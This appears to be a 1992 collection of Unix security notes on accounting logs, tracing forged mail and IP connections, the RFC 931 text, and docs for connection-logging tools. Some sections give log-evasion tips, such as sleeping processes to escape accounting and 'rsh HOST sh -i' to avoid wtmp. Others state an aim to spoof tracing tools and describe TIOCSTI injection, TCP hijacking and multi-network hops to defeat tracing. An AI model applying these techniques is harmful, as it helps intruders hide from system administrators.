CPU,memory,i/o     /usr/adm/acct           binary  root   system   644  (1)
connect time       /usr/adm/wtmp           binary  root   system   644  (2)
disk usage         the file system         n/a     root   operator 640  (3)
printer usage      /usr/adm/lpacct         text    daemon daemon   644  (4)
dialout usage      /usr/adm/aculog         text    uucp   daemon   644  (5)
console msgs       /usr/adm/messages       ?       root   system   664  (6)
shutdown reasons   /usr/adm/shutdownlog    ?       root   system   664  (7)
time daemon log    /usr/adm/timed.log      ?       root   system   644  (8)
uucp transaction   /usr/spool/uucp/LOGFILE ?       uucp   daemon   664  (9)
uucp file transfer /usr/spool/uucp/SYSLOG  ?       uucp   daemon   664  (10)
network routing    /usr/adm/gatedlog       ?       root   system   644  (11)
news connection    .../news/nntp/logfile   ?       news   news     644  (12)
1)accton(?) turns on accounting, sa(?) used to read, with the '-s' flag will
summerize CPU usage by command, and TRUNCATES /usr/adm/acct to ZERO LENGTH!
all commands executed once or with unprintable chars show up as '***other'
(hmmm..), the system automatically suspends accounting if the file system
that contains the accounting data becomes 95% full. If the machine crashes
or is rebooted, processes that were running are not recorded in the CPU acct
file, you can avoid cpu accounting by having your program sleep indefininatly
upon completion as a program that never terminates does not produce any
accounting record. (sleep(?) is also a good alternative to at and cron for
hiding periodic processes). man acct(5)
4)can also be set via a macro in /etc/printcap
5)records login name, date, time, phone number, and status of all calls made
through a dial out modem via the cu(?), tip(?) and uucp family of commands.
If you are allowed to talk directly to the modem via a dialer entry in the
file /etc/remote then the command 'tip dialer' will circumvent the
accounting process.
6)also messages.N where N is from 0 to 6, usually.
9/10)This is for V7 UUCP, HDB (as in SunOS 4.x) is under /usr/spool/uucp/.Log
/{uucp,uucio,uux,???}/<system name>
8/11/12)These are not standard, though many systems have them. Also, the
filenames are compile time options (or set in config files)...
Q's)"owner, group, and mode(octal) of the accounting data files is important
and that any program used to reinitialize these files should be shure to
chown, chgrp, and chmod appropriatly" - so what happens if these are altered?
  will a prog that 'unlink argv[0];'s be logged?
  what about if the utmp entry is zero'd out?
  other tricks?

Date: Fri, 24 Jan 92 19:29:37 -0700

Section Name                         chapter.sec.version        00/00/00                      01.07.0               01/21/92
Phil Goetz asked how to trace forged mail.  The short answer is:  use
log files and talk to other sysadmins so they'll do the same.
A forged messages is injected into the mail system at some point, with
a particular set of header lines.  The header lines inserted after that
point will be real.  You can verify that the lines are real by checking
the logs on each system to see that they match what's in the message.
When you find a discrepancy, you are close to the insertion point.
Then you can poke around there to determine how the forged message was
inserted into the mail system, and by who.  As you'll see, there are
lots of places where it could've come in.
The long answer is specific to the programs involved.  My description
covers sendmail and uucp.  I encourage people to clean up this
description and add their own ideas, suggestions, and mailer programs.
Look in the message for its message-ID and Received: lines.  These will
tell you what systems the message has gone through.  Start with the
last system (the recipient's system).  Check the sendmail log (or
equivalent) for that message-ID.  This will let you map the message-ID
to a queue-ID (generally AAxxxxx or ABxxxxx) which is in every log line
that refers to this message.  The log will show the message-ID, a from=
line, and a set of to= lines indicating how it was delivered.  If the
log entries are there, you can probably believe the Received: line for
that time, which indicates where the message came from.  If it came
from an Internet site, go back to that site and check its logs.  If it
came from uucp, sendmail won't know its origin, but you can check the
uucp logs for a line at that time indicating "XQT (...rmail...)".  [If
you don't find one, the message was probably inserted onto your system
by running sendmail or /bin/mail manually.]
The system name in the uucp log "XQT" line will tell you part of the
file name of the incoming mail.  Probably the message came from that
system, but uucp doesn't check for this, so somebody could've sent you
uucp files containing somebody else's system name.  Look back in the
log for files coming in with this system name in the filename.  You can
also look in the uucp SYSLOG file, which contains the size of each file
transferred, to help figure out which file contained the message.  In
some cases there is no way to unambiguously track the message here
(until uux and uuxqt logging is improved to show the queue ID that it's
executing).  But in most cases you'll find where the message came in
from.  Contact the site admin for that site, indicate that you received
the message at such and such a time, and have them check their uucp
logs.  They should find that the message was transferring at the same
time.  If not, it means somebody called your system and claimed to be
them doing uucp; if you have a separate uucp login/password per site,
you'll know that either you or they let the password get out.  Change
it.  (Note that anyone who is root on their system can read this
password out of their L.sys file.)  If you don't have a separate uucp
login/password for each site, fix this!  You can't tell when your
password is leaked, which site it leaked through!  Also, don't put
phone numbers and uucp logins in email; tell the remote site by phone.
If you don't know their phone number, find it out -- how are you going
to tell them about troubles on your uucp link when your link is broken?
If the other site finds that the same files were moving in their logs
as in your logs, then have them scan back through the log to find an
XQT QUE'D entry for this message.  You should know what's in the rmail
command's arguments (since they're in your XQT log message) and the
same arguments will appear in the XQT QUE'D message.  That shows you
the date and time when the message entered the uucp queue on their
system.  Then their site admin can cross-reference to the sendmail log
to verify that the message exited sendmail at the same time it entered
uucp (if not, the message was inserted manually by someone running a
"uux" command on their system), and trace the sendmail log back.  They
can also check the Received: lines in the message to help find it in
the sendmail log, or simply grep for the message-ID.
If the message had come into sendmail via an SMTP connection rather
than via uucp, the Received: line should say "Received: from xxxxx".
If there are two addresses in XXXXX then check both of them; one is how
that site identified itself in the SMTP protocol; the other is what the
host table said about the Internet address where the connection is
coming from.  Have the site admin on that/those sites check their logs
and work back from there.  If there is no record of sendmail handling
the message on that site, but your sendmail says it was received from
that site, either someone on that site inserted the message (e.g. by
doing "telnet yoursite smtp") or some other site impersonated their IP
address.  (A third possibility is that your host table or domain name
cache has been hacked to make the site-they-connected-from appear to
have the name of some other site).  Start poking around with what
users and processes were running on their system, and double-check
the name server or hosts file on your system.
Checking the "last" and "lastcomm" and cron logs may also be quite
helpful to find sendmail and uucico and uux runs, either to
disambiguate other log entries or if you lose the trail.  It would help
a lot to have an inetd log, too; has anyone hacked this into inetd?
(Inetd is the master daemon that handles incoming connections for a
whole mess of protocols, including telnet, rlogin, ftp, etc -- but not
It's harder to trace a forgery that occurs by changing the contents of
an existing message.  E.g. the sender sent one version, the recipient
got another.  It could have been modified at each site along the way as
it sat in a queue.  It may be possible to track this down by checking
the mesasge sizes at each site, but you have to account for the header
lines changing.  You could send a second message through the same path,
with the same initial byte count, see what transformations happen
to it along the way, and compare its logged byte counts to the counts
of the forged message.
If you can trace the message all the way back to the sender's site, but
they claim they didn't send it, then the last and lastcomm and cron
logs are useful for seeing who was on the system and what processes
were running.  Lastcomm (Unix process accounting) really should be
logging the PID of each process so that its log can be backtraced into
the other log files (sendmail and uucp both log the PID).  Perhaps some
other user sent the mail while su'd to that user, or injected it into
the local sendmail daemon by connecting to the SMTP port on the local
machine.  Perhaps they used the TIOCSTI ioctl to insert fake 'typing'
into one of the user's windows (perhaps even an iconified window) that
caused the message to be sent "by them".  This can be done when nobody
else is logged in, but requires a process left around from some earlier
time -- which should show up in lastcomm logs.  Or perhaps someone just
walked by their terminal, popped up a shell window, sent the message,
and destroyed the window.  This can be done in seconds if the message
is in a prepared file (e.g. in /tmp), but again you'll find it in the
process logs.
If the user logs into that system via TCP, the TCP connection can be
compromised (e.g. by forging a packet to appear to be from their
workstation or x terminal).  The next packet that is sent from the real
TCP connection will cause the connection to reset, but that could
happen hours later, and will just look like temporary network trouble
(the window disappears or the rlogin says "Connection closed").  This
is harder to spot since neither end of the link won't see anything odd
until much later (except that the terminal may get some output
resulting from the mail being sent, like another shell prompt; this
could be disguised by clever use of terminal escape codes so it
overprints the previous shell prompt).  Lastcomm showing that the last
thing to run on that pty was the mailer, even if the end of the pty
(its shell terminating) happens much later, is probably your best clue
there.  An SMTP tcp connection can also be altered in this way.  I have
heard that someone at MIT is logging the first 50 bytes of every packet
that goes through their Internet gateways, and keeping it for days.  If
you were really desperate, and the breakin happened at MIT, you could
try locating the person doing the logging.  (Needless to say the log is
not available to everyone, since it includes all the login names and
passwords used through the gateway!!!)
Also don't forget that a claimed forgery may be a real message that the
sender wishes to repudiate.
As you can see, tracking a message back through five or ten sites this
way would involve a lot of work and coordination, as well as requiring
quick action so that that the forgery is noticed and traced before each
of those sites' logs are removed.  I encourage sites to keep a few
weeks' worth of uucp and sendmail logs so that this kind of forgery can
be more easily traced.  Compress them to save space.  Suns come with
shell scripts that keep the log files for N days; you can hack these to
alter N, move logs to places where there's more space, compress, or

Date: Fri, 24 Jan 92 19:36:13 -0700
Subject: IP.tracing

Section Name                         chapter.sec.version        00/00/00
IP.tracing                               01.08.0                   01/21/92
>one question: how do you trace someone through the net? in progress/after the
>fact. - needed for current section of paper, thanks.
It is directly related to the method they used to enter the net.  For instance
the /var/log/syslog file contains alot of information from folks using
sendmail.  There are obviously uucp logs.  Some folks run front ends to the
progs run out of inetd, which causes some logging -- to where... I dunno,
depends on how they compiled the software.  Best bet is to watch these
>ok, on the logging thing, I was thinking of tracing IP packets... could you
>expand on that a little? 
Again, nothing in *standard* unix.  Sure, theoretically, I could, and I know
that some sites do, trap and log all IP packets.  
>netstat, ofiles, rfc931, and packages that will log
>what it sends all seem to have something to do with it... 
Yes, sites *could* run some of this stuff, but to say WHERE they are logging
it is impossible.  One would certainly want to do a long ps listing to see
what processes are running.  One implementation of RFC931 has a daemon called
authd, but most folks run it out of inetd, so that would go un-noticed.  I
personally feel that the easiest way to detect such changes is to do a 
comparison to an "out of the box" system.  For instance, compare inetd.conf
files -- files created under /var/log and /var/adm, and so on....
>'last' reads some file and tells where the connect to a particular accnt ...
It reads wtmp (on suns /var/adm/wtmp).  It logs normal logins, but not things
like rsh.  This obviously makes things like rsh HOST sh -i very useful.  Also
note that certain versions of utils like xterm and screen don't do logging,
due to the non-writability of utmp on some systems and those apps not being
setuid to a uid that can write to it.  Basically, if you come in and even
touch the "login" program, wtmp will have mention of it.  Again, not rsh
>also what methods could be used to enter the net (brief, for now)
Well, obviously you need to make it to a node on "the net".  This is done
by either:
dialing up a host
dialing up a terminal server*
*= Some terminal servers are WIDE OPEN.  Ask some folks about terminus...
There are other ways, but I don't know much more about them.  I know there
is a packet radio network and a few sites will actually forward their packets.

Date: Fri, 24 Jan 92 19:47:24 -0700
Subject: more.IP.tracing

Section Name                         chapter.sec.version        00/00/00
more.IP.tracing                           01.09.0               01/22/92
Subject: Finding out where someone remotely logged in from
>Suppose a program is running as the login shell under telnetd (or is a
>script run by the login shell, or some such).  Is there a good way it
>can discover the remote host from which the login was made?
>The best way I've been able to figure out is to get the tty name (from
>'who am i') and look it up in /etc/utmp.  Unfortunately, utmp only
>contains the first 16 characters of the remote host name.  It seems to
>me that there should be a good way to do this, since the telnetd could
>just do a getpeername and find out its address.  (In fact, either
>telnetd or login *does*, in order to make the entry in utmp.)  But
>this information doesn't seem to be easily available to child
The quick answer is that you can use either netstat or ofiles.
netstat gives you a list of connections, and you have to pick out the one
that corresponds to the utmp entry, then use netstat -n to get the IP address.
Alternatively, you can use ofiles on the corresponding in.telnetd process
(the parent of the shell), and see where file descriptors 0, 1 and 2 point to.
That's where they're coming from.
I have a similar problem only we are using System V and thus our hostname of
origin isn't in /etc/utmp
Is there a way to use netstat (which _does_ show the origin) and associate
the results with individual terminals or users?
Paul Mc Auley             |   God is real . . . . . .
AKA |        . . . . . . . . Unless Declared an Integer.
Ok, not much of a solution, but at least it works:
I had to do this for a client a couple of years ago.  The solution I
used then was (lacking source at their site) as follows:
If you are using inetd  (if not, the same _principle_ applies but the
implementation is a trifle more complex), simply write a short programme that
replaces telnetd.  This programme does a getpeername() on it's stdin descrip-
tor and squirrels it away somewhere before invoking the _real_ telnet or login
daemon (with any arguments IT was originally called with).
Places to squirrel the information:
1/  In an environment variable.  This sometimes works but can allow a
user to `fake' their location and anyway, some telnetd/rlogind programmes
refuse to pass over an inherited environment.
2/  In a file indexed by something.  Pick a suitable index - I used
the PID since I already had (fast) routines to trace process parentage that
would allow you to find the highest parent (closest to init) who'se parent
WAS init - this would be the telnet/rlogin daemon (having the same PID as
the new programme).  It would be nice to know the tty name that the daemon
will allocate, but unfortunately this hasn't been decided yet (there are
frigs round this but they're unpleasant).
3/  fork/exec - child exec's the real daemon, parent closes it's
descriptors and watches for the PGRP of the child at which point the tty
name is known (hackity hack).
>  netstat gives you a list of connections, and you have to pick out
>  the one that corresponds to the utmp entry, then use netstat -n to
>  get the IP address.
>  Alternatively, you can use ofiles on the corresponding in.telnetd
>  process (the parent of the shell), and see where file descriptors
>  0, 1 and 2 point to.  That's where they're coming from.
I've looked into this, and run into some problems:
netstat will truncate a symbolic host name to 16 characters (as does
finger and the entry in utmp).  This can be easily overcome with -n,
which causes it to give numeric IP addresses.
Unfortunately, netstat gives no way to associate a particular
connection with the telnetd that it feeds.  In fact, all incoming
telnet connections list the same address on "this end" (port 512).
ofiles might be useful, but we don't have it (we're running SunOS
4.1.1), as far as I can tell.
I have found that pstat -u will give all sorts of useful information
about a process, including where internal control blocks are located.
The 'files' field has pointers to the open files table, and pstat -f
will list information about the open files table.  But, alas, the peer
address is not listed.
Does anybody know of any other utilities to investigate?
  RARP can catch IP forgery; encryption systems like Kerberose, simply
ignore forged packets.
>  "any desired IP address" Seems to me that you're limited to using ip
>addresses in the range assigned to the subnet of your local wire.
>Otherwise, you're not going to be able to interact with (or attack) any
>systems (even ones on the local wire). And if you do change the ip address
>to an unused one and then back to the real one when you're done, you will
>have given away your site and genneral location.
  This is a common misconception.
  Yes, you need to use an address in your sub-net if you wish to receive
any reverse traffic, but not all popular protocols rely on two-way
communications. NFS servers, for instance, perform the requested operation
and then send the reply back; if the reply can't reach the sender, the
operation has still been carried out, so who cares if the reverse
communication isn't possable? Simmilarly, many network time protocols use
one-way datagrams.
  [...]look at the /etc/services file. Each of these services is a possable
security problem.
ME: Hmmm, someone tried to break in from ''.
    <in e-mail> "Hey, Someone tried to crack my
    machine from yours. Could you check your logs for
    Wed Jan 22 07:00:00 EST? Thanks."
ROOT: <in e-mail> "Someone from logged into our guest
   account from 04:00:00 to 08:30:00 this morning. Hmm, I think I'm
   going to start keeping a closer eye on the use of my guest account
   from now on."
ME: "Thanks,"   "Hey, ..."
  There are many other groups working on reducing internet anonymity: for
example, Athena, the auth-acct list, SAAG, even rfc931-users.
                     ^^^^^^^^^^^^^^  ^^^^
                    anyone know who these groups are?
Try tracing this...
telnet to
log into janet pad
connect to {some janet site}
now connect from there ta a certain SPAN node
now patch out to the internet
There are at least 2 of the SPAN-IP gateways   (where?)
Try tracing that convaluded mess!
It makes your terminus look like a kindergarden session:
You have involved 3 networks, 2 countries, and about 5 science/networking
agencies. Its a game of hunt the duristiction folks.

Date: Fri, 24 Jan 92 19:55:52 -0700
Subject: rfc931

Section Name                         chapter.sec.version        00/00/00
rfc.931                                   01.10.0               01/22/92
Network Working Group                                       Mike StJohns
Request for Comments: 931                                           TPSC
Supersedes: RFC 912                                         January 1985
                         Authentication Server
   This RFC suggests a proposed protocol for the ARPA-Internet
   community, and requests discussion and suggestions for improvements.
   This is the second draft of this proposal (superseding RFC 912) and
   incorporates a more formal description of the syntax for the request
   and response dialog, as well as a change to specify the type of user
   identification returned.  Distribution of this memo is unlimited.
   The Authentication Server Protocol provides a means to determine the
   identity of a user of a particular TCP connection.  Given a TCP port
   number pair, it returns a character string which identifies the owner
   of that connection on the server's system.  Suggested uses include
   automatic identification and verification of a user during an FTP
   session, additional verification of a TAC dial up user, and access
   verification for a generalized network file server.
   This is a connection based application on TCP.  A server listens for
   TCP connections on TCP port 113 (decimal).  Once a connection is
   established, the server reads one line of data which specifies the
   connection of interest.  If it exists, the system dependent user
   identifier of the connection of interest is sent out the connection.
   The service closes the connection after sending the user identifier.
   Queries are permitted only for fully specified connections. The
   local/foreign host pair used to fully specify the connection are
   taken from the query connection.  This means a user on Host A may
   only query the server on Host B about connections between A and B.
   The server accepts simple text query requests of the form
      <local-port>, <foreign-port>
   where <local-port> is the TCP port (decimal) on the target (server)
   system, and <foreign-port> is the TCP port (decimal) on the source
   (user) system.
      For example:
         23, 6191
   The response is of the form
      <local-port>, <foreign-port> : <response-type> : <additional-info>
   where <local-port>,<foreign-port> are the same pair as the query,
   <response-type> is a keyword identifying the type of response, and
   <additional info> is context dependent.
      For example:
         23, 6191 : USERID : MULTICS : StJohns.DODCSC.a
         23, 6193 : USERID : TAC : MCSJ-MITMUL
         23, 6195 : ERROR : NO-USER
   A response can be one of two types:
      In this case, <additional-info> is a string consisting of an
      operating system name, followed by a ":", followed by user
      identification string in a format peculiar to the operating system
      indicated.  Permitted operating system names are specified in
      RFC-923, "Assigned Numbers" or its successors.  The only other
      names permitted are "TAC" to specify a BBN Terminal Access
      Controller, and "OTHER" to specify any other operating system not
      yet registered with the NIC.
      For some reason the owner of <TCP-port> could not be determined,
      <additional-info> tells why.  The following are suggested values
      of <additional-info> and their meanings.
         Either the local or foreign port was improperly specified.
         The connection specified by the port pair is not currently in
         Can't determine connection owner; reason unknown.  Other values
         may be specified as necessary.
   Unfortunately, the trustworthiness of the various host systems that
   might implement an authentication server will vary quite a bit.  It
   is up to the various applications that will use the server to
   determine the amount of trust they will place in the returned
   information.  It may be appropriate in some cases restrict the use of
   the server to within a locally controlled subnet.
   1) Automatic user authentication for FTP
      A user-FTP may send a USER command with no argument to the
      server-FTP to request automatic authentication.  The server-FTP
      will reply with a 230 (user logged in) if it can use the
      authentication.  It will reply with a 530 (not logged in) if it
      cannot authenticate the user.  It will reply with a 500 or 501
      (syntax or parameter problem) if it does not implement automatic
      authentication.  Please note that no change is needed to currently
      implemented servers to handle the request for authentication; they
      will reject it normally as a parameter problem.  This is a
      suggested implementation for experimental use only.
   2) Verification for privileged network operations.  For example,
   having the server start or stop special purpose servers.
   3) Elimination of "double login" for TAC and other TELNET users.
      This will be implemented as a TELNET option.
   <request>     ::= <port-pair> <CR> <LF>
   <port-pair>   ::= <integer-number> "," <integer-number>
   <reply>       ::= <reply-text> <CR> <LF>
   <reply-text>  ::= <error-reply> | <auth-reply>
   <error-reply> ::= <port-pair> ":" ERROR ":" <error-type>
   <auth-reply>  ::= <port-pair> ":" USERID ":" <opsys> ":" <user-id>
   <error-type>  ::= INVALID-PORT | NO-USER | UNKNOWN-ERROR
   <opsys>       ::= TAC | OTHER | MULTICS | UNIX ...etc.
                     (See "Assigned Numbers")
   Notes on Syntax:
      1)  White space (blanks and tab characters) between tokens is not
      important and may be ignored.
      2)  White space, the token separator character (":"), and the port
      pair separator character (",") must be quoted if used within a
      token.  The quote character is a back-slash, ASCII 92 (decimal)
      ("\").  For example, a quoted colon is "\:".  The back-slash must
      also be quoted if its needed to represent itself ("\\").
Notes on User Identification Format:
   The user identifier returned by the server should be the standard one
   for the system.  For example, the standard Multics identifier
   consists of a PERSONID followed by a ".", followed by a PROJECTID,
   followed by a ".", followed by an INSTANCE TAG of one character.  An
   instance tag of "a" identifies an interactive user, and instance tag
   of "m" identifies an absentee job (batch job) user, and an instance
   tag of "z" identifies a daemon (background) user.
   Each set of operating system users must come to a consensus as to
   what the OFFICIAL user identification for their systems will be.
   Until they register this information, they must use the "OTHER" tag
   to specify their user identification.
Notes on User Identification Translation:
   Once you have a user identifier from a remote system, you must then
   have a way of translating it into an identifier that meaningful on
   the local system.  The following is a sketchy outline of table driven
   scheme for doing this.
   The table consists of four columns, the first three are used to match
   against, the fourth is the result.
      USERID              Opsys     Address     Result
      MCSJ-MITMUL         TAC       26.*.*.*    StJohns
      *                   MULTICS   192.5.42.*  =
      *                   OTHER   anonymous
      MSJ                 ITS   StJohns
   The above table is a sample one for a Multics system on MILNET at the
   Pentagon.  When an authentication is returned, the particular
   application using the userid simply looks for the first match in the
   table.  Notice the second line.  It says that any authentication
   coming from a Multics system on Net 192.5.42 is accepted in the same
   Obviously, various users will have to be registered to use this
   facility, but the registration can be done at the same time the use
   receives his login identity from the system.

Date: Fri, 24 Jan 92 20:04:46 -0700

Section Name                         chapter.sec.version        00/00/00                         01.11.0               01/24/92
There are a number of "Hacker Tracker Tools", most have something to
do with rfc931, which is bad news... fortunatly it's not standard yet,
but it is becomming so... the documents below came with some of these
packages, they are worth reading as certain info can be gleaned from
them, such as where they put logs, and the programs names that run
these things. From this it should be able to tell if one of these is
running on a system, and devise ways to spoof them. They also alude to
security holes, that we can tease out... and offer pointers to other
programs in the same class... Shortcommings and weaknesses are also
identified. I havn't collected all of the programs yet, but am doing so.
these docs are chopped extracts from the program docs that come with
the programs. They need to be summerised further... (maybe a chart or
Programs of this type that I'm awaire of are:
AUTHD: /pub/misc/authd301.tar.Z
KSTUFF: /pub/kstuff-0.18.tar.Z
RARP: /pub/src/datacom/rarpd.tar.Z
OFILES: /pub/misc/ofiles.?
LOG_TCP: /pub/unix/netware/log_tcp.?
LUMBERJACK:(?) /comp.sources.unix/Volume16/lumberjack
ACTIV:(?) /mirrors/unix-c/utils/activ.?
PAUTHD: /pub/daemons/pauthd-1.2.tar.Z
FTPD: /packages/ftpd.wuarchive.shar
  also see the 'related software' section of tcp_log docs (below) for
pointers to rshd, rlogind, tftp and authutil.
  If anyone knows of others please mention them.
some news extracts:
  There are many anonymous entrances into most systems. Local modem pools
are untraceable without a court order. PC's connected to a local Ethernet
can run their own copy of software and gain access to mutch they shouldn't
  Even on those systems wheree  we require authentication, there's often
nothing I can do after the fact to trace who attacked you. We don't log
every IP connection made, and on a UNIX system with 30 simultanious users
often the best I can do is say "it was one of those 30" Indeed on a
default SunOS system, even if you tell me while you're being attacked,
'bout all I can do is run NETSTAT and agree with you that someone on the
local machine is doing it--without OFILES or some other non-standard tool,
I don't believe there's a way to trace an IP connection back to the process
that owns it.
[...]it's still a pain in the neck to figure out which USER made a
connection unless you can run PS and OFILES and so on WHILE the
connection is in progress. But there are tools like rfc931 which solve
[...]it's still a pain in the neck to figgure our which MACHINE generated
a particular TCP packet, since TCP is insecure, unless you run RARP and
various other tools--like secure Ethernets, or Kerberos.
General description:
With this package you can monitor connections to the SYSTAT, FINGER,
FTP, TELNET, RLOGIN, RSH and EXEC network services.  Connections are
logged through the syslog(3) facility. A requirement is that daemons
are started by the inetd program or something similar.
The programs are tiny front ends that just report the remote host name
and then invoke the real network daemon.  In the most common case, no
changes should be required to existing software or to configuration
files.  Just move the vendor-provided daemons to another place and
install the front ends into their original places. Installation details
are given below.
Early versions of the programs were tested with Ultrix >= 2.2, with
SunOS >= 3.4 and ISC 2.2. The first official release has been installed
on a wide variety of systems (BSD, SYSV, Apollo) without modification.
The present release should still run on top of most BSD-style TCP/IP
Optional feature:
When compiled with -DHOSTS_ACCESS, the front-end programs support a
simple form of access control that is based on host (or domain) names,
internet addresses or network numbers, network daemon process names and
(optionally) netgroups (a NIS, formerly YP, feature).  Wild cards are
supported.  If a host requests connection to a network daemon, and if
the (daemon, host) pair is matched by an entry in the /etc/hosts.allow
file, access is granted.  Otherwise, if the (daemon, host) pair is
matched by an entry in the /etc/hosts.deny file, access is denied.
Otherwise, access is granted.  More details are provided in the
hosts_access(5) manual page.  This form of access control may be useful
if it can not be implemented at a more suitable level (such as an
internet router).
Major enhancement:
It has been brought to my attention that AUTHENTICATION BASED ON HOST
WITH SOME DOMAIN NAME SERVER.  A little research led me to the conclusion
that many existing RSHD and RLOGIND implementations do not account for
this potential problem.
The present versions of the front-end programs provide a way to take
care of the problem.  After mapping a client host address to a host
name, the front-end programs now verify that the host name maps to the
same host address.  The idea is that it is much easier to compromise
the address->name map of some random name server than to compromise the
name->address map that is specific to your domain.  If the source is
compiled with -DPARANOID, the front ends justs drop the connection in
case of a host name/address mismatch. Otherwise, the front ends just
ignore the bad host name and use the host address when consulting the
access control files.
Minor enhancements:
The host access control files now support more types of wild cards and
(optionally) allow the use of netgroup names.  Netgroup support is
usually available on systems with NIS (formerly YP) software.
Related software:
Versions of rshd and rlogind, hacked to report the remote user name as
well, are available for anon ftp (
That archive also contains a tftpd source that logs the remote host
name (nice if you want to know who is interested in your /etc/passwd
file).  All those programs have been tested only with SunOS >= 4.0.
Another way to manage access to tcp/ip services is illustrated by the
servers provided with the authutil package (comp.sources.unix volume
22). This has the advantage that one will get the remote username from
any host supporting RFC 931 security.  By installing the auth package
(same volume) one supports RFC 931 security too (but YOU WILL HAVE TO
BELIEVE WHAT THE REMOTE HOST TELLS YOU).  Eventually one can start
cutting off unauthenticated connections. This is obviously a much more
advanced approach than what my front-end programs provide. The present
package is more suitable for those who lack the resources to install
anything that requires more than just renaming a couple of executables.
Configuration and installation (the easy way):
An advanced installation recipe is given lateron. The "easy way" recipe
requires no changes to existing software or configuration files.
If you don't run Ultrix, you don't need the miscd front-end program.
The Ultrix miscd daemon implements among others the SYSTAT service,
which pipes the output from the WHO command to standard output.
By default, connections are logged to the same place where the sendmail
log entries go.  If connections should be logged elsewhere, adjust the
LOG_MAIL macro in the miscd.c and tcpd.c files, and update your syslog
configuration file (usually, /etc/syslog.conf).  Most Ultrix versions
do not provide this flexibility, though.
The tcpd program is intended for monitoring connections to the telnet,
finger, ftp, exec, rsh and rlogin services. Decide which services you
want to be monitored. Move the vendor-provided daemon programs to the
location specified by the REAL_DAEMON_DIR macro in the file tcpd.c, and
copy the tcpd front end to the locations where the vendor-provided
daemons used to be. That is, one copy of the tcpd front end for each
service that you want to monitor.
authd - authentication server daemon
tcpuid, tcpuname - find out which user owns a connection
authuser - remote authentication library
authd is an implementation of RFC 931, the Authentication Server under
BSD. RFC 931 provides the name of the user owning a TCP connection. This
helps network security: UNLESS TCP ITSELF IS COMPROMISED, it is
impossible to forge mail or news between computers supporting RFC 931.
largely anonymous, network. authd requires no changes to current code:
every connect() and accept() is authenticated automatically, with no
loss of efficiency.
tcpuid and tcpuname are the same program, but more suitable for local
use from the command line by a user or system administrator. They show
which local user created a given TCP connection.
authuser is a library encapsulating client use of RFC 931. It talks to a
remote Authentication Server to find out the username on the other side
of a given connection.
Only root can install authd. However, most current systems are insecure
enough that any user can run tcpuid and tcpuname. authuser is meant for
use by any program.
2. Requirements
authd requires netstat, and it pokes around in several BSD-specific
kernel structures. It is not inherently portable code. Nevertheless, it
has been compiled under Ultrix, SunOS, and Convex UNIX, and it probably
doesn't take much work to get running under pretty much any BSD system.
authuser should compile and run without trouble on any BSD system.
You must be root to install authd. However, authd's sister utilities,
tcpuid and tcpuname, will probably work anyway if /dev/kmem is readable.
Any program can use the authuser library.
3. How to configure authd
You can change CC or CCOPTS in Makefile if you want. If you want authd
to record connections through syslog at LOG_DEBUG, define -DUSE_SYSLOG
in the Makefile.
5. How to install authd
If you don't have privileges, skip this part.
By default, authd, tcpuid, and tcpuname are installed in /etc,
authuser.o is installed as /usr/lib/libauthuser.a, authuser.h is
installed in /usr/include, authuser.3 is installed in /usr/man/man3,
and authd.8, tcpuid.8, and tcpuname.8 are installed in /usr/man/man8.
The binaries are installed setgid to group kmem. If you want to change
these defaults, edit INSTALL.
Then run INSTALL in a root shell; the script will check every action
with you before doing it.
To test tcpuname, make sure it is in your path, and run netstatuid. You
should get a report of all active network connections including
To test authuser and authd, run ./test. You should get an ``everything
looks okay'' message.
6. TODO list
fast multiple-connection version of tcpuid/tcpuname, like netstatuid?
should write a few notes on the exact security provided by rfc 931
authd - Authentication Server daemon authd is a daemon implement-
ing the RFC 931 Authentication Server protocol.  It should be in-
voked by a network server, such as or for connections to TCP port
113  (auth).   The  client  host gives two numbers separated by a
comma.  interprets the numbers as TCP port numbers for the  local
and  remote  sides  respectively of a TCP connection between this
host and the client host.  It returns a line of the  form  local-
port,  remoteport:  USERID:  UNIX: username where username is the
name of the user on this side of the  specified  connection.   If
does not have an authentication entry for that connection, it re-
turns a line of the form localport, remoteport:  ERROR:  UNKNOWN-
ERROR.  None.  None known.  authd version 3.01, February 7, 1991.
Placed into the public domain by Daniel J. Bernstein.   Partially
inspired  by code written by Vic Abell for ofiles.  The authenti-
cation server is more secure than passwords  in  some  ways,  but
less  secure than passwords in many ways.  (It's certainly better
than no password at all---e.g., for mail or news.) It is not  the
final solution.  For an excellent discussion of security problems
within the TCP/IP protocol suite, see  Steve  Bellovin's  article
``Security  Problems  in the TCP/IP Protocol Suite.'' authtcp(1),
attachport(1), authuser(3), tcp(4), inetd(8) tcpuid  -  show  the
user  id  that  created  a  network  connection tcpuid prints the
numeric user id of the user who created  the  network  connection
specified by its arguments.  Lots, none of which should happen if
the specified connection is valid.  None known.   tcpuid  version
3.01,  February 7, 1991.  Placed into the public domain by Daniel
J. Bernstein.  Partially inspired by code written  by  Vic  Abell
for  ofiles.  authd(8), tcpuname(8) tcpuname - show the user name
that created a network connection tcpuname prints the username of
nection  is  valid.  None known.  tcpuname version 3.01, February
7, 1991.  Placed into the public domain by Daniel  J.  Bernstein.
Partially  inspired  by  code  written  by  Vic Abell for ofiles.
authd(8), tcpuid(8)
ofiles - show owner of open file or network connection [ ] [ ]  [
]  [  ]  displays  the owner, process identification (PID), type,
command and the number of the inode associated with an  open  in-
stance  of a file or a network connection.  An open file may be a
regular file, a file system or a directory; it  is  specified  by
its  path name.  When the path name refers to a file system, will
display the owners of all open instances of files in the  system.
An  open network connection is specified by the kernel address of
its Protocol Control Block (PCB), as displayed by when its option
is specified.  displays information about its usage if no options
are specified.  This option selects  verbose,  debugging  output.
This  option  may  be used only on DYNIX hosts.  It sets optional
name list and core file paths.  is the  path  to  the  file  from
which  should  obtain the addresses of kernel symbols, instead of
from is the path to the file from which should obtain  the  value
of  kernel symbols, instead of from This option is useful for de-
bugging system crash dumps.  This option specifies that the argu-
ments identify network connections by their hexadecimal, Protocol
Control Block (PCB) addresses.  PCB addresses can be obtained via
the  option of This option makes it possible to determine the lo-
cal processes that are using network connections  in  the  LISTEN
through  ESTABLISHED  states.   This option specifies that should
print process identifiers only - e. g., so that the output may be
piped to These are path names of files, directories and file sys-
tems; or, if the option has been specified, network  connections,
identified  by their hexadecimal Protocol Control Block (PCB) ad-
dresses.  displays for each for file paths, an interpretation  of
the  type  of  name - file, directory or file system; for network
connections, the kernel address linkages, starting with the  file
structure and proceeding through the socket structure and the In-
ternet Protocol Control Block (INPCB) structure to  the  PCB  the
login  name of the user of the process that has open the identif-
ier of the process that has open a file type explanation:  if  is
the  current working directory of the process if is being used as
